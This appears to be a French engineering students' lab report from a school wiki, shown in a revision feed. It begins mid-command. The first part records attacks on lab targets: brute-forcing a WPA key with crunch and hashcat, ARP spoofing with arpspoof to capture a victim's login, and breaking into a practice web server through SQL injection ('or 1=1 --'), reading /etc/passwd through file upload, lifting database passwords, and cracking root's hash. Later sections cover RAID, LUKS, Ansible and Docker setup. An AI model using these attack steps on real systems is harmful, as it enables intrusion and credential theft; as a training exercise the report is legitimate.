 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présents. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== TP ASR ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder à des &amp;quot;apt install&amp;quot; et ne plus être considéré comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur Chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
Génération d’une paire de clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Ces clés sont stocké coté capbreton dans le dossier /.ssh&lt;br /&gt;
&lt;br /&gt;
Par la suite nous installons la clef publique sur nos cibles (les machines sur Chassiron) :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh 192.168.42.5 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Installation via la commande :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :&lt;br /&gt;
 [webserver]                                                                                                             &lt;br /&gt;
 192.168.42.5                                                                                                                                                                                                                                    &lt;br /&gt;
 &lt;br /&gt;
 [webservers]                                                                                                            &lt;br /&gt;
 192.168.42.5                                                                                                            &lt;br /&gt;
 192.168.42.2                                                                                                            &lt;br /&gt;
 192.168.42.4                                                                                                            &lt;br /&gt;
 192.168.42.7                                                                                                            &lt;br /&gt;
 192.168.42.9                                                                                                            &lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible : &lt;br /&gt;
 ansible webserver -a &amp;quot;lsb_release -d&amp;quot;&lt;br /&gt;
&lt;br /&gt;
L'étape suivant consiste à tester ansible.&lt;br /&gt;
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed                                                                                           &lt;br /&gt;
 apt:                                                                                                                            &lt;br /&gt;
        update_cache: yes                                                                                                       &lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;                                                                                         &lt;br /&gt;
 vars:                                                                                                                           &lt;br /&gt;
        packages:                                                                                                                       &lt;br /&gt;
                - ntp                                                                                                                   &lt;br /&gt;
                - python3                                                                                                               &lt;br /&gt;
                - python3-pip                                                                                                                                                                                                                 &lt;br /&gt;
 &lt;br /&gt;
 - name: docker                                                                                                            &lt;br /&gt;
 pip:                                                                                                                            &lt;br /&gt;
         name: docker                                                                                                                                                                                                                          &lt;br /&gt;
 &lt;br /&gt;
 - name: maj ntp                                                                                                           &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                    &lt;br /&gt;
         dest: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                   &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
                                                                                                                                                                                                                           &lt;br /&gt;
 - name: maj motd                                                                                                          &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/motd&amp;quot;                                                                                                        &lt;br /&gt;
         dest: &amp;quot;/etc/motd&amp;quot;                                                                                                       &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de Capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de Chassiron via la commande ssh root@192.168.42.5&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Plusieurs commandes nous permettent de vérifier le bon fonctionnement : &lt;br /&gt;
 docker images (Affichage des différentes images docker installées)&lt;br /&gt;
 docker ps -a (Affichage des différents containeurs en cours d'exécution)&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce à la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisée.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Puis coté chassiron : &lt;br /&gt;
 docker pull 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur Chassiron nous avons d'abord créé notre rôle &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machines qui sont dans l'hote webservers.&lt;br /&gt;
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zone pour DNSSEC ainsi que redémarrer le service bind9).&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
         ServerName reverse.amanite.site    &lt;br /&gt;
         ServerAdmin lolopierro                                                                                                                                                                                               &lt;br /&gt;
         ProxyPass / http://192.168.42.5:8085                                                                                      &lt;br /&gt;
         ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.&lt;br /&gt;
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55090</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55090"/>
				<updated>2020-12-20T15:11:18Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Configuration de nos serveurs internes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
